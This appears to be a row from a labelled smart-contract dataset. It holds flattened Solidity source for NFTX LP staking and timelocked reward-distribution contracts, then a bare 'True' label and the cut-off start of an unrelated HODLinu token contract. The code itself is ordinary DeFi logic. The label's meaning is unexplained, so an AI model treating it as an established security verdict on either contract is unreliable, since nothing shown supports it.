return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[45] private __gap;
}
// File contracts/solidity/util/SafeMathInt.sol
pragma solidity ^0.8.0;
/**
* @title SafeMathInt
* @dev Math operations with safety checks that revert on error
* @dev SafeMath adapted for int256
* Based on code of https://github.com/RequestNetwork/requestNetwork/blob/master/packages/requestNetworkSmartContracts/contracts/base/math/SafeMathInt.sol
*/
library SafeMathInt {
function mul(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when multiplying INT256_MIN with -1
// https://github.com/RequestNetwork/requestNetwork/issues/43
require(!(a == - 2**255 && b == -1) && !(b == - 2**255 && a == -1));
int256 c = a * b;
require((b == 0) || (c / b == a));
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing INT256_MIN by -1
// https://github.com/RequestNetwork/requestNetwork/issues/43
require(!(a == - 2**255 && b == -1) && (b > 0));
return a / b;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
require((b >= 0 && a - b <= a) || (b < 0 && a - b > a));
return a - b;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
// File contracts/solidity/token/TimelockRewardDistributionTokenImpl.sol
pragma solidity ^0.8.0;
/// @title Reward-Paying Token (renamed from Dividend)
/// @author Roger Wu (https://github.com/roger-wu)
/// @dev A mintable ERC20 token that allows anyone to pay and distribute a target token
/// to token holders as dividends and allows token holders to withdraw their dividends.
/// Reference: the source code of PoWH3D: https://etherscan.io/address/0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe#code
contract TimelockRewardDistributionTokenImpl is OwnableUpgradeable, ERC20Upgradeable {
using SafeMathUpgradeable for uint256;
using SafeMathInt for int256;
using SafeERC20Upgradeable for IERC20Upgradeable;
IERC20Upgradeable public target;
// With `magnitude`, we can properly distribute dividends even if the amount of received target is small.
// For more discussion about choosing the value of `magnitude`,
// see https://github.com/ethereum/EIPs/issues/1726#issuecomment-472352728
uint256 constant internal magnitude = 2**128;
uint256 internal magnifiedRewardPerShare;
// About dividendCorrection:
// If the token balance of a `_user` is never changed, the dividend of `_user` can be computed with:
// `dividendOf(_user) = dividendPerShare * balanceOf(_user)`.
// When `balanceOf(_user)` is changed (via minting/burning/transferring tokens),
// `dividendOf(_user)` should not be changed,
// but the computed value of `dividendPerShare * balanceOf(_user)` is changed.
// To keep the `dividendOf(_user)` unchanged, we add a correction term:
// `dividendOf(_user) = dividendPerShare * balanceOf(_user) + dividendCorrectionOf(_user)`,
// where `dividendCorrectionOf(_user)` is updated whenever `balanceOf(_user)` is changed:
// `dividendCorrectionOf(_user) = dividendPerShare * (old balanceOf(_user)) - (new balanceOf(_user))`.
// So now `dividendOf(_user)` returns the same value before and after `balanceOf(_user)` is changed.
mapping(address => int256) internal magnifiedRewardCorrections;
mapping(address => uint256) internal withdrawnRewards;
mapping(address => uint256) internal timelock;
event Timelocked(address user, uint256 amount, uint256 until);
function __TimelockRewardDistributionToken_init(IERC20Upgradeable _target, string memory _name, string memory _symbol) public initializer {
__Ownable_init();
__ERC20_init(_name, _symbol);
target = _target;
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
allowance(sender, _msgSender()).sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function mint(address account, uint256 amount) public onlyOwner virtual {
_mint(account, amount);
}
function timelockMint(address account, uint256 amount, uint256 timelockLength) public onlyOwner virtual {
uint256 timelockFinish = block.timestamp + timelockLength;
timelock[account] = timelockFinish;
emit Timelocked(account, amount, timelockFinish);
_mint(account, amount);
}
function timelockUntil(address account) public view returns (uint256) {
return timelock[account];
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual onlyOwner {
_burn(account, amount);
}
/// @notice Distributes target to token holders as dividends.
/// @dev It reverts if the total supply of tokens is 0.
/// It emits the `RewardsDistributed` event if the amount of received target is greater than 0.
/// About undistributed target tokens:
/// In each distribution, there is a small amount of target not distributed,
/// the magnified amount of which is
/// `(amount * magnitude) % totalSupply()`.
/// With a well-chosen `magnitude`, the amount of undistributed target
/// (de-magnified) in a distribution can be less than 1 wei.
/// We can actually keep track of the undistributed target in a distribution
/// and try to distribute it in the next distribution,
/// but keeping track of such data on-chain costs much more than
/// the saved target, so we don't do that.
function distributeRewards(uint amount) external virtual onlyOwner {
require(totalSupply() > 0, "RewardDist: 0 supply");
require(amount > 0, "RewardDist: 0 amount");
// Because we receive the tokens from the staking contract, we assume the tokens have been received.
magnifiedRewardPerShare = magnifiedRewardPerShare.add(
(amount).mul(magnitude) / totalSupply()
);
emit RewardsDistributed(msg.sender, amount);
}
/// @notice Withdraws the target distributed to the sender.
/// @dev It emits a `RewardWithdrawn` event if the amount of withdrawn target is greater than 0.
function withdrawReward(address user) external onlyOwner {
uint256 _withdrawableReward = withdrawableRewardOf(user);
if (_withdrawableReward > 0) {
withdrawnRewards[user] = withdrawnRewards[user].add(_withdrawableReward);
target.safeTransfer(user, _withdrawableReward);
emit RewardWithdrawn(user, _withdrawableReward);
}
}
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function dividendOf(address _owner) public view returns(uint256) {
return withdrawableRewardOf(_owner);
}
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function withdrawableRewardOf(address _owner) internal view returns(uint256) {
return accumulativeRewardOf(_owner).sub(withdrawnRewards[_owner]);
}
/// @notice View the amount of dividend in wei that an address has withdrawn.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has withdrawn.
function withdrawnRewardOf(address _owner) public view returns(uint256) {
return withdrawnRewards[_owner];
}
/// @notice View the amount of dividend in wei that an address has earned in total.
/// @dev accumulativeRewardOf(_owner) = withdrawableRewardOf(_owner) + withdrawnRewardOf(_owner)
/// = (magnifiedRewardPerShare * balanceOf(_owner) + magnifiedRewardCorrections[_owner]) / magnitude
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has earned in total.
function accumulativeRewardOf(address _owner) public view returns(uint256) {
return magnifiedRewardPerShare.mul(balanceOf(_owner)).toInt256()
.add(magnifiedRewardCorrections[_owner]).toUint256Safe() / magnitude;
}
/// @dev Internal function that transfer tokens from one address to another.
/// Update magnifiedRewardCorrections to keep dividends unchanged.
/// @param from The address to transfer from.
/// @param to The address to transfer to.
/// @param value The amount to be transferred.
function _transfer(address from, address to, uint256 value) internal override {
require(block.timestamp > timelock[from], "User locked");
super._transfer(from, to, value);
int256 _magCorrection = magnifiedRewardPerShare.mul(value).toInt256();
magnifiedRewardCorrections[from] = magnifiedRewardCorrections[from].add(_magCorrection);
magnifiedRewardCorrections[to] = magnifiedRewardCorrections[to].sub(_magCorrection);
}
/// @dev Internal function that mints tokens to an account.
/// Update magnifiedRewardCorrections to keep dividends unchanged.
/// @param account The account that will receive the created tokens.
/// @param value The amount that will be created.
function _mint(address account, uint256 value) internal override {
super._mint(account, value);
magnifiedRewardCorrections[account] = magnifiedRewardCorrections[account]
.sub( (magnifiedRewardPerShare.mul(value)).toInt256() );
}
/// @dev Internal function that burns an amount of the token of a given account.
/// Update magnifiedRewardCorrections to keep dividends unchanged.
/// @param account The account whose tokens will be burnt.
/// @param value The amount that will be burnt.
function _burn(address account, uint256 value) internal override {
require(block.timestamp > timelock[account], "User locked");
super._burn(account, value);
magnifiedRewardCorrections[account] = magnifiedRewardCorrections[account]
.add( (magnifiedRewardPerShare.mul(value)).toInt256() );
}
/// @dev This event MUST emit when target is distributed to token holders.
/// @param from The address which sends target to this contract.
/// @param weiAmount The amount of distributed target in wei.
event RewardsDistributed(
address indexed from,
uint256 weiAmount
);
/// @dev This event MUST emit when an address withdraws their dividend.
/// @param to The address which withdraws target from this contract.
/// @param weiAmount The amount of withdrawn target in wei.
event RewardWithdrawn(
address indexed to,
uint256 weiAmount
);
}
// File contracts/solidity/NFTXLPStaking.sol
pragma solidity ^0.8.0;
// Author: 0xKiwi.
// Pausing codes for LP staking are:
// 10: Deposit
contract NFTXLPStaking is PausableUpgradeable {
using SafeERC20Upgradeable for IERC20Upgradeable;
INFTXVaultFactory public nftxVaultFactory;
IRewardDistributionToken public rewardDistTokenImpl;
StakingTokenProvider public stakingTokenProvider;
event PoolCreated(uint256 vaultId, address pool);
event PoolUpdated(uint256 vaultId, address pool);
event FeesReceived(uint256 vaultId, uint256 amount);
struct StakingPool {
address stakingToken;
address rewardToken;
}
mapping(uint256 => StakingPool) public vaultStakingInfo;
TimelockRewardDistributionTokenImpl public newTimelockRewardDistTokenImpl;
function __NFTXLPStaking__init(address _stakingTokenProvider) external initializer {
__Ownable_init();
require(_stakingTokenProvider != address(0), "Provider != address(0)");
assignNewImpl();
stakingTokenProvider = StakingTokenProvider(_stakingTokenProvider);
}
function assignNewImpl() public {
require(address(newTimelockRewardDistTokenImpl) == address(0), "Already assigned");
newTimelockRewardDistTokenImpl = new TimelockRewardDistributionTokenImpl();
newTimelockRewardDistTokenImpl.__TimelockRewardDistributionToken_init(IERC20Upgradeable(address(0)), "", "");
}
modifier onlyAdmin() {
require(msg.sender == owner() || msg.sender == nftxVaultFactory.feeDistributor(), "LPStaking: Not authorized");
_;
}
function setNFTXVaultFactory(address newFactory) external onlyOwner {
require(newFactory != address(0));
nftxVaultFactory = INFTXVaultFactory(newFactory);
}
function setStakingTokenProvider(address newProvider) external onlyOwner {
require(newProvider != address(0));
stakingTokenProvider = StakingTokenProvider(newProvider);
}
// Consider changing LP staking to take vault id into consideration, and access data from there.
function addPoolForVault(uint256 vaultId) external onlyAdmin {
require(address(nftxVaultFactory) != address(0), "LPStaking: Factory not set");
require(vaultStakingInfo[vaultId].stakingToken == address(0), "LPStaking: Pool already exists");
address _rewardToken = nftxVaultFactory.vault(vaultId);
address _stakingToken = stakingTokenProvider.stakingTokenForVaultToken(_rewardToken);
StakingPool memory pool = StakingPool(_stakingToken, _rewardToken);
vaultStakingInfo[vaultId] = pool;
address newRewardDistToken = _deployDividendToken(pool);
emit PoolCreated(vaultId, newRewardDistToken);
}
function updatePoolForVaults(uint256[] calldata vaultIds) external {
for (uint256 i = 0; i < vaultIds.length; i++) {
updatePoolForVault(vaultIds[i]);
}
}
// In case the provider changes, this lets the pool be updated. Anyone can call it.
function updatePoolForVault(uint256 vaultId) public {
StakingPool memory pool = vaultStakingInfo[vaultId];
// Not letting people use this function to create new pools.
require(pool.stakingToken != address(0), "LPStaking: Pool doesn't exist");
address _stakingToken = stakingTokenProvider.stakingTokenForVaultToken(pool.rewardToken);
// If the pool is already deployed, ignore the update.
address addr = address(_rewardDistributionTokenAddr(pool));
if (isContract(addr)) {
return;
}
StakingPool memory newPool = StakingPool(_stakingToken, pool.rewardToken);
vaultStakingInfo[vaultId] = newPool;
address newRewardDistToken = _deployDividendToken(newPool);
emit PoolUpdated(vaultId, newRewardDistToken);
}
function receiveRewards(uint256 vaultId, uint256 amount) external onlyAdmin returns (bool) {
StakingPool memory pool = vaultStakingInfo[vaultId];
if (pool.stakingToken == address(0)) {
// In case the pair is updated, but not yet
return false;
}
TimelockRewardDistributionTokenImpl rewardDistToken = _rewardDistributionTokenAddr(pool);
// Don't distribute rewards unless there are people to distribute to.
// Also added here if the distribution token is not deployed, just forfeit rewards for now.
if (!isContract(address(rewardDistToken)) || rewardDistToken.totalSupply() == 0) {
return false;
}
// We "pull" to the dividend tokens so the vault only needs to approve this contract.
IERC20Upgradeable(pool.rewardToken).safeTransferFrom(msg.sender, address(rewardDistToken), amount);
rewardDistToken.distributeRewards(amount);
emit FeesReceived(vaultId, amount);
return true;
}
function deposit(uint256 vaultId, uint256 amount) external {
onlyOwnerIfPaused(10);
// Check the pool in case its been updated.
updatePoolForVault(vaultId);
StakingPool memory pool = vaultStakingInfo[vaultId];
_deposit(pool, amount);
}
function timelockDepositFor(uint256 vaultId, address account, uint256 amount, uint256 timelockLength) external {
require(msg.sender == nftxVaultFactory.zapContract(), "Not zap");
onlyOwnerIfPaused(10);
// Check the pool in case its been updated.
updatePoolForVault(vaultId);
StakingPool memory pool = vaultStakingInfo[vaultId];
require(pool.stakingToken != address(0), "LPStaking: Nonexistent pool");
IERC20Upgradeable(pool.stakingToken).safeTransferFrom(msg.sender, address(this), amount);
_rewardDistributionTokenAddr(pool).timelockMint(account, amount, timelockLength);
}
function exit(uint256 vaultId) external {
StakingPool memory pool = vaultStakingInfo[vaultId];
_claimRewards(pool, msg.sender);
_withdraw(pool, balanceOf(vaultId, msg.sender), msg.sender);
}
function emergencyExitAndClaim(address _stakingToken, address _rewardToken) external {
StakingPool memory pool = StakingPool(_stakingToken, _rewardToken);
TimelockRewardDistributionTokenImpl dist = _rewardDistributionTokenAddr(pool);
require(isContract(address(dist)), "Not a pool");
_claimRewards(pool, msg.sender);
_withdraw(pool, dist.balanceOf(msg.sender), msg.sender);
}
function emergencyExit(address _stakingToken, address _rewardToken) external {
StakingPool memory pool = StakingPool(_stakingToken, _rewardToken);
TimelockRewardDistributionTokenImpl dist = _rewardDistributionTokenAddr(pool);
require(isContract(address(dist)), "Not a pool");
_withdraw(pool, dist.balanceOf(msg.sender), msg.sender);
}
function emergencyMigrate(uint256 vaultId) external {
StakingPool memory pool = vaultStakingInfo[vaultId];
IRewardDistributionToken unusedDist = _unusedRewardDistributionTokenAddr(pool);
IRewardDistributionToken oldDist = _oldRewardDistributionTokenAddr(pool);
uint256 unusedDistBal;
if (isContract(address(unusedDist))) {
unusedDistBal = unusedDist.balanceOf(msg.sender);
if (unusedDistBal > 0) {
unusedDist.burnFrom(msg.sender, unusedDistBal);
}
}
uint256 oldDistBal;
if (isContract(address(oldDist))) {
oldDistBal = oldDist.balanceOf(msg.sender);
if (oldDistBal > 0) {
oldDist.withdrawReward(msg.sender);
oldDist.burnFrom(msg.sender, oldDistBal);
}
}
TimelockRewardDistributionTokenImpl newDist = _rewardDistributionTokenAddr(pool);
if (!isContract(address(newDist))) {
address deployedDist = _deployDividendToken(pool);
require(deployedDist == address(newDist), "Not deploying proper distro");
emit PoolUpdated(vaultId, deployedDist);
}
require(unusedDistBal + oldDistBal > 0, "Nothing to migrate");
newDist.mint(msg.sender, unusedDistBal + oldDistBal);
}
// Admin mint function for whoever got affected by the changes.
function adminMint(uint256 vaultId, address to, uint256 balanceToMint) external {
require(msg.sender == 0x8F217D5cCCd08fD9dCe24D6d42AbA2BB4fF4785B, "Not authed");
StakingPool memory pool = vaultStakingInfo[vaultId];
TimelockRewardDistributionTokenImpl newDist = _rewardDistributionTokenAddr(pool);
newDist.mint(to, balanceToMint);
}
function withdraw(uint256 vaultId, uint256 amount) external {
StakingPool memory pool = vaultStakingInfo[vaultId];
_withdraw(pool, amount, msg.sender);
}
function claimRewards(uint256 vaultId) public {
StakingPool memory pool = vaultStakingInfo[vaultId];
_claimRewards(pool, msg.sender);
}
function claimMultipleRewards(uint256[] memory vaultIds) external {
for (uint256 i = 0; i < vaultIds.length; i++) {
claimRewards(vaultIds[i]);
}
}
function newRewardDistributionToken(uint256 vaultId) external view returns (TimelockRewardDistributionTokenImpl) {
StakingPool memory pool = vaultStakingInfo[vaultId];
if (pool.stakingToken == address(0)) {
return TimelockRewardDistributionTokenImpl(address(0));
}
return _rewardDistributionTokenAddr(pool);
}
function rewardDistributionToken(uint256 vaultId) external view returns (IRewardDistributionToken) {
StakingPool memory pool = vaultStakingInfo[vaultId];
if (pool.stakingToken == address(0)) {
return IRewardDistributionToken(address(0));
}
return _oldRewardDistributionTokenAddr(pool);
}
function oldRewardDistributionToken(uint256 vaultId) external view returns (address) {
StakingPool memory pool = vaultStakingInfo[vaultId];
if (pool.stakingToken == address(0)) {
return address(0);
}
return address(_oldRewardDistributionTokenAddr(pool));
}
function unusedRewardDistributionToken(uint256 vaultId) external view returns (address) {
StakingPool memory pool = vaultStakingInfo[vaultId];
if (pool.stakingToken == address(0)) {
return address(0);
}
return address(_unusedRewardDistributionTokenAddr(pool));
}
function rewardDistributionTokenAddr(address stakingToken, address rewardToken) public view returns (address) {
StakingPool memory pool = StakingPool(stakingToken, rewardToken);
return address(_rewardDistributionTokenAddr(pool));
}
function balanceOf(uint256 vaultId, address addr) public view returns (uint256) {
StakingPool memory pool = vaultStakingInfo[vaultId];
TimelockRewardDistributionTokenImpl dist = _rewardDistributionTokenAddr(pool);
require(isContract(address(dist)), "Not a pool");
return dist.balanceOf(addr);
}
function oldBalanceOf(uint256 vaultId, address addr) public view returns (uint256) {
StakingPool memory pool = vaultStakingInfo[vaultId];
IRewardDistributionToken dist = _oldRewardDistributionTokenAddr(pool);
require(isContract(address(dist)), "Not a pool");
return dist.balanceOf(addr);
}
function unusedBalanceOf(uint256 vaultId, address addr) public view returns (uint256) {
StakingPool memory pool = vaultStakingInfo[vaultId];
IRewardDistributionToken dist = _unusedRewardDistributionTokenAddr(pool);
require(isContract(address(dist)), "Not a pool");
return dist.balanceOf(addr);
}
function _deposit(StakingPool memory pool, uint256 amount) internal {
require(pool.stakingToken != address(0), "LPStaking: Nonexistent pool");
IERC20Upgradeable(pool.stakingToken).safeTransferFrom(msg.sender, address(this), amount);
_rewardDistributionTokenAddr(pool).mint(msg.sender, amount);
}
function _claimRewards(StakingPool memory pool, address account) internal {
require(pool.stakingToken != address(0), "LPStaking: Nonexistent pool");
_rewardDistributionTokenAddr(pool).withdrawReward(account);
}
function _withdraw(StakingPool memory pool, uint256 amount, address account) internal {
require(pool.stakingToken != address(0), "LPStaking: Nonexistent pool");
_rewardDistributionTokenAddr(pool).burnFrom(account, amount);
IERC20Upgradeable(pool.stakingToken).safeTransfer(account, amount);
}
function _deployDividendToken(StakingPool memory pool) internal returns (address) {
// Changed to use new nonces.
bytes32 salt = keccak256(abi.encodePacked(pool.stakingToken, pool.rewardToken, uint256(2)));
address rewardDistToken = ClonesUpgradeable.cloneDeterministic(address(newTimelockRewardDistTokenImpl), salt);
string memory name = stakingTokenProvider.nameForStakingToken(pool.rewardToken);
TimelockRewardDistributionTokenImpl(rewardDistToken).__TimelockRewardDistributionToken_init(IERC20Upgradeable(pool.rewardToken), name, name);
return rewardDistToken;
}
// Note: this function does not guarantee the token is deployed, we leave that check to elsewhere to save gas.
function _rewardDistributionTokenAddr(StakingPool memory pool) public view returns (TimelockRewardDistributionTokenImpl) {
bytes32 salt = keccak256(abi.encodePacked(pool.stakingToken, pool.rewardToken, uint256(2) /* small nonce to change tokens */));
address tokenAddr = ClonesUpgradeable.predictDeterministicAddress(address(newTimelockRewardDistTokenImpl), salt);
return TimelockRewardDistributionTokenImpl(tokenAddr);
}
// Note: this function does not guarantee the token is deployed, we leave that check to elsewhere to save gas.
function _oldRewardDistributionTokenAddr(StakingPool memory pool) public view returns (IRewardDistributionToken) {
bytes32 salt = keccak256(abi.encodePacked(pool.stakingToken, pool.rewardToken, uint256(1)));
address tokenAddr = ClonesUpgradeable.predictDeterministicAddress(address(rewardDistTokenImpl), salt);
return IRewardDistributionToken(tokenAddr);
}
// Note: this function does not guarantee the token is deployed, we leave that check to elsewhere to save gas.
function _unusedRewardDistributionTokenAddr(StakingPool memory pool) public view returns (IRewardDistributionToken) {
bytes32 salt = keccak256(abi.encodePacked(pool.stakingToken, pool.rewardToken));
address tokenAddr = ClonesUpgradeable.predictDeterministicAddress(address(rewardDistTokenImpl), salt);
return IRewardDistributionToken(tokenAddr);
}
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
} | True | [
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] |
//TG: https://t.me/HODLinu
//Website: http://hodlinu.com
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
